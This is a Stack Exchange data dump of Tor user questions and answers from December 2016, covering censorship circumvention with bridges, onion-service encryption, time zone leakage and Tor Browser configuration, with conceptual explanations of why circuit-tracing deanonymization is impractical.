  <row Id="13431" PostTypeId="1" CreationDate="2016-12-19T12:52:21.053" Score="6" ViewCount="2670" Body="&lt;p&gt;I tried to use the Tor Browser but it doesn't seem to work, I'm in turkey&lt;/p&gt;&#xA;" OwnerUserId="15512" LastActivityDate="2018-04-06T00:45:36.503" Title="Tor is blocked for me now (I'm in turkey) what can I do?" Tags="|censorship|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13432" PostTypeId="2" ParentId="13431" CreationDate="2016-12-19T12:58:14.803" Score="8" Body="&lt;p&gt;There seem to be some censorship events happening in Turkey. If you're having problems connecting to Tor, use obfs4 or meek-amazon. &#xA;(&lt;em&gt;Türkiye de bazı sansür olayları yaşanıyor gibi görünüyor. Tor'a bağlanırken sorun yaşarsanız köprülerden meek-amazon'u kullanın.&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PKglV.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PKglV.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15513" LastActivityDate="2016-12-19T12:58:14.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13434" PostTypeId="1" AcceptedAnswerId="13441" CreationDate="2016-12-19T15:33:46.683" Score="0" ViewCount="339" Body="&lt;p&gt;Most common descriptions, including nice looking graphics, of the communication with Tor hidden services are framed in terms of high-level &quot;&lt;em&gt;Tor circuits&lt;/em&gt;&quot; which obscure rather than help understand the underlying mechanisms, in this questioner's naive opinion. In this question instead let's please focus on the contents of TCP/IP packets exchanged :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume &lt;em&gt;Tor-user&lt;/em&gt; retrieving some clear text file, &lt;em&gt;hello.text&lt;/em&gt;, from server &lt;em&gt;qw…rty.onion&lt;/em&gt;, using some unencrypted protocol over TCP, say, the HTTP. Let's peek - like, with that &lt;em&gt;ethereal&lt;/em&gt; thing - at the data packets which are part of this transfer along the whole path (excluding the end-points). Are the contents retrievable in the clear &lt;em&gt;anywhere&lt;/em&gt;, in particular, at the &quot;&lt;em&gt;rendez-vous&lt;/em&gt;&quot; point ? Or does Tor &quot;onion&quot; layered  encryption somehow apply over the whole (2 &quot;circuits&quot;) path ? Please explain...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited after suggestion by C.I. that this may be a duplicate. I do not think so. The other question was about encryption of requested hidden service URIs, this is about the encryption of contents. Also, the other question said : &quot;I understand that all of the communication between a client and a hidden service (.onion) takes place within the Tor network and is therefore end-to-end encrypted.&quot; - but this is exactly what is in doubt with this here question : are data really encrypted end-to-end by the onion protocol (that would be six-level deep onion encryption) ? Or rather are they decrypted (in the clear) in the middle, at the junction point (rendez-vous), before being reinjected, reencrypted for the other &quot;circuit&quot; (3 level deep encryption)  ?&lt;/p&gt;&#xA;" OwnerUserId="15515" LastEditorUserId="15515" LastEditDate="2016-12-20T01:32:32.733" LastActivityDate="2016-12-20T02:24:53.737" Title="Hidden services : clear text, or not, at the rendez-vous point?" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ClosedDate="2016-12-20T18:37:20.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="13437" PostTypeId="1" AcceptedAnswerId="13439" CreationDate="2016-12-19T20:16:25.500" Score="0" ViewCount="116" Body="&lt;p&gt;I have the Tor folder in Desktop of Windows 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I created another folder, encrypt it by EFS and put the Tor folder inside of it, do I gain any advantage for security?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose temporary files are still written to Windows TMP folder, but I wanted to ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also does using Tor in EFS folder create any performance penalty?&lt;/p&gt;&#xA;" OwnerUserId="15519" LastEditorUserId="88" LastEditDate="2016-12-21T10:14:27.457" LastActivityDate="2016-12-21T10:14:27.457" Title="Encryption by EFS" Tags="|tor-browser-bundle|windows|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13438" PostTypeId="1" CreationDate="2016-12-19T21:18:58.640" Score="0" ViewCount="90" Body="&lt;p&gt;This is a really exciting update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/whats-new-tor-0298&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/blog/whats-new-tor-0298&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the tor devs and the image in the article &quot;Service side loses anonymity&quot;. But is this entirely true? The connection is still encrypted end-to-end and there are no tor exits in use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the tor network openly observed by devs and/or authorities? Can someone explain how the server &quot;loses anonymity&quot;?&lt;/p&gt;&#xA;" OwnerUserId="15520" LastActivityDate="2016-12-20T18:42:52.390" Title="What's new in Tor 0.2.9.8?" Tags="|configuration|onion-services|anonymity|onion-routing|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13439" PostTypeId="2" ParentId="13437" CreationDate="2016-12-20T01:23:26.157" Score="2" Body="&lt;p&gt;If you create an encrypted folder and put Tor Browser inside of it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Remote&lt;/strong&gt; - You will gain no security advantage against a remote attacker: exploits will still work fine.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Local Offline&lt;/strong&gt; - You will gain some advantage against an offline local attacker if the encrypted folder isn't mounted/decrypted: they would have issues meaningfully tampering with the Tor Browser files in the folder.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;However, memory pages and other artifacts will remain and be visible outside of the encrypted container unless you've taken extra steps to avoid them being created by the operating system.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Local Online&lt;/strong&gt; - You would gain no advantage against an online local attacker, if they got access to your logged in session (through any means) they would have full access to the files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Performance&lt;/strong&gt; - You would have a small performance penalty. Tor Browser tries to stop the application itself writing back to disk, so the main overhead would be the initial loading of Tor Browser into memory. Disk encryption uses symmetric cryptography which modern computers can do efficiently and at high speeds. The performance impact would likely not be noticable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-20T01:23:26.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13440" PostTypeId="2" ParentId="13438" CreationDate="2016-12-20T01:31:52.410" Score="1" Body="&lt;p&gt;The client picks the rendezvous point, normally the onion service builds a full circuit before connecting to the rendezvous point to talk to the client, thus anonymizing it's location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a client setup their own Tor relay and then asked the onion service to connect to that relay as the rendezvous point, the onion service would connect directly to it. The client could then discover where the onion service was connecting to their relay from and thus where it actually resided on the internet.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-20T01:31:52.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13441" PostTypeId="2" ParentId="13434" CreationDate="2016-12-20T02:00:55.883" Score="1" Body="&lt;p&gt;FWIW I still consider this a duplicate.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The other question was about encryption of requested hidden service URIs...this is about the encryption of contents&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The various parts of the URI are only in the contents of the stream, if  you can't see the URI then you're not seeing any of the contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create a circuit to an onion service you fetch the descriptor for an HSDir.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The descriptor contains a set of public keys associated with introduction points. The onion service alone has the corresponding private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You connect to the rendezvous point and give it a cookie value and it stores it and waits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then encrypt the first half of a DH handshake along with the cookie value you gave to the rendezvous point and the location of the rendezvous point itself to the public key associated with the onion service at the introduction point. The introduction point knows what circuit is associated with the public key and passes the message on to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The onion service uses the private key to decrypt the first half of the DH handshake, the cookie and the location of the rendezvous point. It connect to the rendezvous point, presents the cookie and the rendezvous point connects it with the you along with it's half of the DH handshake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both parties now have a shared secret that no one else knows, through the DH handshake. Therefor no one in the circuit except the onion service and you know the content of the connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what end-to-end encryption means, if at any point it wasn't encrypted it wouldn't be end-to-end.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-12-20T02:24:53.737" LastActivityDate="2016-12-20T02:24:53.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13446" PostTypeId="1" CreationDate="2016-12-20T02:41:34.537" Score="1" ViewCount="3778" Body="&lt;p&gt;How import SSL cert in Tor Browser?&#xA;In Firefox I import my self signed cert in Setting -&gt; Advanced -&gt; Certificates -&gt; Authorities. In TB I can't add cert as in FF, because if I add a cert it is not added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copy profiles from FF to TB, but nothing happends. TB ignores the certificates database (cert8.db, key3.db) from my profile.&#xA;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="15527" OwnerDisplayName="Jake Michel" LastEditorUserId="15527" LastEditDate="2016-12-20T13:50:45.927" LastActivityDate="2018-07-18T04:41:03.347" Title="Tor Browser import SSL certificate" Tags="|tor-browser-bundle|ssl|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13450" PostTypeId="1" AcceptedAnswerId="13462" CreationDate="2016-12-20T20:24:42.503" Score="3" ViewCount="3006" Body="&lt;p&gt;Does TOR leak time and time zone which can expose the approximate user location on earth?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think some JavaScript codes in web pages, asks operating system time before submitting the web form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does TOR browser change or hide the system time in any way?&lt;/p&gt;&#xA;" OwnerUserId="15519" LastActivityDate="2023-02-25T17:19:15.953" Title="Does TOR Leak Time and Time Zone?" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13452" PostTypeId="2" ParentId="13450" CreationDate="2016-12-20T21:07:57.153" Score="-1" Body="&lt;p&gt;NO, it does not do this. But scripts can't be filtered for a stuff like this - even in other browsers and/or NodeJS sandbox. What is available to script - can be used by it in &lt;em&gt;any&lt;/em&gt; way, and there's nothing you can do about it: real-time code analysis is bloody expensive and fails sometimes on platforms with the runtime-modifiable code. If you don't trust a script on a specific page - disable scripts completely. In your particular case - form submission is a basic HTML function, so it won't be affected by disabling scripts.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-20T21:07:57.153" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13454" PostTypeId="2" ParentId="3435" CreationDate="2016-12-20T23:53:57.150" Score="2" Body="&lt;p&gt;I just figured it out!! In the past I used Proxy Switchy on chrome to set up Tor (following that lifehack website) and it all worked great, but recently I couldn't get it to work. Maybe it was that the extension has been redeveloped (it is called SwitchyOmega now), maybe it's windows 10, who knows... However, If you've been struggling like I did then here's a solution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get SwitchyOmega from Chrome extensions&lt;/li&gt;&#xA;&lt;li&gt;Go to its settings and create a new profile&lt;/li&gt;&#xA;&lt;li&gt;In the profile set the protocol: SOCKS5, address:127.0.0.1 and port:9150&lt;/li&gt;&#xA;&lt;li&gt;Go to Interface and set up your Switch Option if you want to use it as a button to switch through direct or proxy connection (optional)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And that should be it.... I hope this helps !&lt;/p&gt;&#xA;" OwnerUserId="15535" LastEditorUserId="88" LastEditDate="2016-12-22T14:05:11.103" LastActivityDate="2016-12-22T14:05:11.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13456" PostTypeId="2" ParentId="13431" CreationDate="2016-12-21T04:40:33.607" Score="1" Body="&lt;p&gt;Try VPNgate &#xA;&lt;a href=&quot;http://www.vpngate.net/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.vpngate.net/en/&lt;/a&gt;&#xA;You may use VPNgate alone, or once you get connected to one of the VPNgate server, you can turn on Tor for extra anonymity.&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2016-12-21T04:40:33.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13457" PostTypeId="1" CreationDate="2016-12-21T09:46:51.803" Score="1" ViewCount="422" Body="&lt;p&gt;I am connected to the Internet through &lt;code&gt;eth0&lt;/code&gt; and I run hotspot with wlan0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; create_ap wlan0 wlan0 MyAccessPoint MyPassPhrase&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to torify the connections made by the users connected to the hotspot?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;PS: &#xA;* I am looking to do the same job as &lt;code&gt;torify&lt;/code&gt; or &lt;code&gt;proxychains&lt;/code&gt; but for all connections made on &#xA;* I want users to use common applications and don't need to use ad hoc proxified applications. E.g they would use &lt;code&gt;firefox&lt;/code&gt; and not &lt;code&gt;tor-browser&lt;/code&gt;.&#xA;&lt;code&gt;wlan0&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="15540" LastActivityDate="2017-04-22T09:32:53.310" Title="Can I torify all connections going through my hotspot?" Tags="|proxy|web-proxy|pre-tor-proxy|torify|" AnswerCount="1" CommentCount="0" ClosedDate="2017-04-22T09:35:24.250" ContentLicense="CC BY-SA 3.0" />
  <row Id="13458" PostTypeId="1" CreationDate="2016-12-21T10:05:54.927" Score="0" ViewCount="550" Body="&lt;p&gt;How can I automatically redirect visitors of my website to its onion version if I detect that they're Tor users?&lt;/p&gt;&#xA;" OwnerUserId="15541" LastActivityDate="2021-09-03T16:11:29.587" Title="How can I automatically redirect visitors of my site to its onion version if they're Tor users?" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13460" PostTypeId="2" ParentId="13446" CreationDate="2016-12-21T14:28:00.030" Score="1" Body="&lt;p&gt;The OP gave the answer in the comments. I'll add the answer for completeness:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser has set &lt;code&gt;security.nocertdb&lt;/code&gt; in &lt;code&gt;about:config&lt;/code&gt; to true. This means that the intermediate certificate store is only in memory.  If you change this value to false, it will be possible to add new certificates.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-12-21T14:28:00.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13461" PostTypeId="2" ParentId="13458" CreationDate="2016-12-21T16:15:47.770" Score="1" Body="&lt;p&gt;With 100% accuracy? You can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use tools like &lt;a href=&quot;https://www.torproject.org/projects/tordnsel.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorDNSEL&lt;/a&gt; and lookup each incoming user through a DNS query to discover if they're using a known Tor exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use the &lt;a href=&quot;https://check.torproject.org/cgi-bin/TorBulkExitList.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorBulkExitList&lt;/a&gt; to export the current set of relays that allow exiting to your service. This list will get stale though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are always being to be edge cases where an IP is no longer in use as a Tor exit but it is on the list and you would redirect them to the .onion and they wouldn't connect. Similarly there will be Tor users whose IP isn't on the list that you don't redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other approaches, which are more accurate, would be to test in the browser itself if they can connect to .onion addresses. Putting a tag like &lt;code&gt;&amp;lt;script src='http://foo.onion'&amp;gt;&lt;/code&gt; and having the loaded script redirect users to the .onion website would let you redirect users who could fetch resources from the .onion but not those who couldn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some Tor users choose to disable javascript entirely, in those cases you could take a similar approach but instead of javascript embed a CSS stylesheet that is loaded from the .onion site. If it is loaded, it could render a fullscreen overlay with a link for the user to click to take them to the .onion website.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-21T16:15:47.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13462" PostTypeId="2" ParentId="13450" CreationDate="2016-12-21T16:40:59.397" Score="2" Body="&lt;p&gt;No, Tor does not leak your time zone.&lt;/p&gt;&#xA;&lt;p&gt;Tor Browser uses UTC for its time. This hides the &amp;quot;system time&amp;quot; from any querying websites and stops any website that could read the time from determining your location based on your timezone.&lt;/p&gt;&#xA;&lt;p&gt;However it is not able to protect users whose time is uniquely inaccurate. You should use some timesync mechanism to ensure that you keep your system time accurate with reference time, through NTP or similar mechanisms.&lt;/p&gt;&#xA;&lt;p&gt;Disabling Javascript would stop all access to the ability of a website to query the system time.&lt;/p&gt;&#xA;&lt;p&gt;From the Tor Browser Design Specification:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Timezone and Clock Offset&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;While the latency in Tor connections varies anywhere from milliseconds to a few seconds, it is still possible for the remote site to detect large differences between the user's clock and an official reference time source.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Design Goal:&lt;/strong&gt; All Tor Browser users MUST report the same timezone to websites. Currently, we choose UTC for this purpose, although an equally valid argument could be made for EDT/EST due to the large English-speaking population density (coupled with the fact that we spoof a US English user agent). Additionally, the Tor software should detect if the users clock is significantly divergent from the clocks of the relays that it connects to, and use this to reset the clock values used in Tor Browser to something reasonably accurate. Alternatively, the browser can obtain this clock skew via a mechanism similar to that used in tlsdate.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Implementation Status:&lt;/strong&gt; We set the timezone using the TZ environment variable, which is supported on all platforms.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;While Tor, the network protocol, is agnostic to the data sent over it Tor Browser takes steps to avoid being fingerprintable.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="88" LastEditDate="2023-02-25T17:19:15.953" LastActivityDate="2023-02-25T17:19:15.953" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="13464" PostTypeId="1" CreationDate="2016-12-21T18:12:25.377" Score="3" ViewCount="703" Body="&lt;p&gt;Instead of looking at a portion of the network, find out the guard of a targeted user, then find which middle node that guard connects to, then which exit is connected to that middle node, then take the logs of that exit and match them to that IP of that middle node. In other words, if one finds the total circuit, they can easily de-anonymize people. I'm sure it's not this easy, so what am I missing? &lt;/p&gt;&#xA;" OwnerUserId="15546" LastActivityDate="2016-12-22T02:38:08.593" Title="Isn't it easy to de-anonymize users this way?" Tags="|deanonymization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13465" PostTypeId="2" ParentId="13464" CreationDate="2016-12-21T20:19:34.287" Score="1" Body="&lt;p&gt;You're missing the middle guard detection difficulty - that's the reason why the minimal and default circuit length is 3 hops, actually. Unless you're running tons of middle nodes and guards - which is quite an expensive task - you can't see the middle node that easy.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-21T20:19:34.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13468" PostTypeId="2" ParentId="13464" CreationDate="2016-12-22T02:38:08.593" Score="6" Body="&lt;p&gt;No, this approach will not work that simply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, you've got your targeted user(s). Bob and Alice. You assume the role of Eve (a passive adversary, who can only observe). You know Bob is talking to someone over Tor and you want to discover who. So you hoodwink a confused deputy (this is a polite way of saying &lt;em&gt;&quot;lie to a judge&quot;&lt;/em&gt;) to get Bob's internet connection records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon inspection of Bob's internet connection records you see he's connected to a Tor guard relay. Now, you need to hope that you have jurisdiction in the region of the guard to get details of it's internet connection records. Lets imagine that your judge was incredibly pliant and had legal authority to let you retrieve them too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you inspected the guards internet connection you'd see that actually lots of users are using this guard, not only that but the connections are opaque, not all of the connections are from clients, some of them are outbound traffic too! You have no way of knowing which of the users coming into the guard goes out to which middle relay, the average relay will hold thousands of connections open at any one time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you'd need to apply some statistical analysis, which would require detailed packet capture information for the guard. You'd better hope that someone has them and you have the legal authority to get them! Now you can say with some value of certainty which circuits are Bob's. You've no idea which relate to Bob's communications with the other party you wish to discover and which are just Bob updating the consensus or which are just opportunistically built in case they're needed later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to now try to get the internet connection records of &lt;em&gt;all&lt;/em&gt; the other relays involved in Bob's circuits. Many of these will exist in multiple legal jurisdictions, some even with countries that you don't have friendly relations with or that have laws that mean ISPs don't need to keep records and so they may not be available and even if you &lt;em&gt;could&lt;/em&gt; get them you'd end up having to making a multiple requests for each of the circuit you discovered to be Bob's from the set of middle relays. If this was an onion circuit that would be 6 hops worth of this process and would probably require the records of all the Tor network. This process is expensive and would require extraordinary abuse of power across a varied geopolitical landscape. You'll notice that it only gives you some percentage of certainty that any circuit is really Bob's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cost for most adversaries to carry out an attack like that is prohibitive, impractical and realistically entirely impossible. There are better approaches, you can perform the same kind of statistical analysis if you can just see Bob/Bob's Guard and Alice/Alice's Guard. See the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AttacksOnOnionRouting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project FAQ&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-22T02:38:08.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13470" PostTypeId="1" CreationDate="2016-12-22T15:01:51.063" Score="0" ViewCount="2670" Body="&lt;p&gt;I am relatively new to Tor/Linux/Whonix&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal in mind is to add bridges to my sudo nano /etc/tor/torrc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep getting errors saying basically I can't reach the host servers of these bridges. Then I go to take a look at my tor off a fresh boot. I use sudo netstat -plnt | fgrep 9050&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shows 2 different tcp running and I'm not sure what this means.&#xA;I have looked extensively online with many of the same question but not any answers. Any advice would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15563" LastActivityDate="2016-12-24T03:26:29.990" Title="Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running? (Whonix)" Tags="|linux|whonix|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13473" PostTypeId="1" CreationDate="2016-12-22T20:07:57.653" Score="1" ViewCount="922" Body="&lt;p&gt;Despite the manual's declared defaults [below], &lt;code&gt;Onion Circuits&lt;/code&gt; shows single hop circuits being &amp;quot;Built&amp;quot; by Tor. So I have edited my &lt;code&gt;torrc&lt;/code&gt; to specifically include &lt;code&gt;ExcludeSingleHopRelays 1&lt;/code&gt; and &lt;code&gt;AllowSingleHopCircuits 0&lt;/code&gt;. Yet &lt;code&gt;Onion Circuits&lt;/code&gt; &lt;em&gt;&lt;strong&gt;still&lt;/strong&gt;&lt;/em&gt; shows them being &lt;em&gt;&amp;quot;Built&amp;quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Careful observation of the (often four?) initial one-hop circuits that are built at Tails boot (presumably used to &amp;quot;build consensus&amp;quot; as to which of them will continue on to be my &amp;quot;guard&amp;quot; for that session) tells me that the one-hop circuits that Tor will &lt;em&gt;&lt;strong&gt;still&lt;/strong&gt;&lt;/em&gt; build later in that particular session &lt;em&gt;&lt;strong&gt;ARE&lt;/strong&gt; from&lt;/em&gt; those initial four [at least the ones where I've noticed a later one-hop].&lt;/p&gt;&#xA;&lt;p&gt;So I guess I can see why Tor builds those initially. While I understand that my IP is known to my &amp;quot;guard&amp;quot;, why do those other potential candidates check in again later, and &lt;em&gt;build one-hop circuits?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am using Tails 2.9.1, and the &lt;code&gt;torrc&lt;/code&gt; file at &lt;code&gt;etc/tor/torrc&lt;/code&gt;. Other edits to that file function.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt; states:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ExcludeSingleHopRelays 0|1&lt;/p&gt;&#xA;&lt;p&gt;This option controls whether circuits built by Tor will include relays with the AllowSingleHopExits flag set to true. If ExcludeSingleHopRelays is set to 0, these relays will be included. Note that these relays might be at higher risk of being seized or observed, so they are not normally included. Also note that relatively few clients turn off this option, so using these relays might make your client stand out. (Default: 1)&lt;/p&gt;&#xA;&lt;p&gt;AllowSingleHopCircuits 0|1&lt;/p&gt;&#xA;&lt;p&gt;When this option is set, the attached Tor controller can use relays that have the AllowSingleHopExits option turned on to build one-hop Tor connections. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;[I have not specifcally set the SERVER OPTION &lt;code&gt;AllowSingleHopExits 0|1&lt;/code&gt; to 0, (which is its default anyways), because I am not running a server.]&lt;/p&gt;&#xA;" OwnerUserId="14991" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-12-23T04:05:26.903" Title="Can I prevent Tor from building single-hop circuits?" Tags="|configuration|anonymity|security|tails|deanonymization|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13474" PostTypeId="1" CreationDate="2016-12-22T21:17:11.557" Score="2" ViewCount="8789" Body="&lt;p&gt;I can use any password to be administrator for each particular session [as long as I type it twice], at Tails boot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That seems like a &lt;em&gt;&lt;strong&gt;g a p i n g&lt;/strong&gt;&lt;/em&gt; security hole if an adversary were to get/have access to our USB-copy of Tails: they could immediately login as &quot;administrator&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My very-limited understanding of Tails/Debian/Linux leads me to think that anyone who has &quot;administrator&quot; privileges on a particular system can do &lt;em&gt;&lt;strong&gt;anything&lt;/strong&gt;&lt;/em&gt; that they want to on that system. Regarding that, the issue of primary concern to me is the privacy of the &quot;Persistent&quot; storage. &lt;/p&gt;&#xA;" OwnerUserId="14991" LastActivityDate="2018-12-14T15:31:33.530" Title="Why is the &quot;administrator&quot; password not saved in Tails?" Tags="|security|tails|vulnerability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13476" PostTypeId="1" CreationDate="2016-12-22T22:09:05.593" Score="0" ViewCount="1444" Body="&lt;p&gt;I am using Tails 2.9.1, and edit the &lt;code&gt;torrc&lt;/code&gt; file at &lt;code&gt;etc/tor/torrc&lt;/code&gt;. I have enabled persistence and edit as administrator. Edits to that file function for that session only, and are gone the next time I boot Tails.&lt;/p&gt;&#xA;" OwnerUserId="14991" LastActivityDate="2017-05-22T06:22:38.453" Title="How can I edit the torrc file permanently (persistently)?" Tags="|configuration|tails|persistent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13479" PostTypeId="2" ParentId="12727" CreationDate="2016-12-23T02:19:27.880" Score="3" Body="&lt;p&gt;No, and it will never be implemented: it would break the whole relay idea of Tor. Every relay - &lt;em&gt;regardless of it's further roles&lt;/em&gt; - is a &quot;regular node&quot;, i.e. the middle one. If it's allowed to go outside - then it &lt;em&gt;also/additionally&lt;/em&gt; receives an Exit flag. If it's stable and not flapping - it receives a Stable flag, if it's stable-flagged and has a decent bandwidth and reacability - it receives a Guard flag. That's how it works! Every node is &lt;em&gt;evaluated&lt;/em&gt; - and to be able actually evaluated - it must be present in network, &lt;em&gt;actually&lt;/em&gt; do some work - and &lt;em&gt;basing on the results and metrics of the working process&lt;/em&gt; it's &lt;em&gt;additionally&lt;/em&gt; flagged.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-23T02:19:27.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
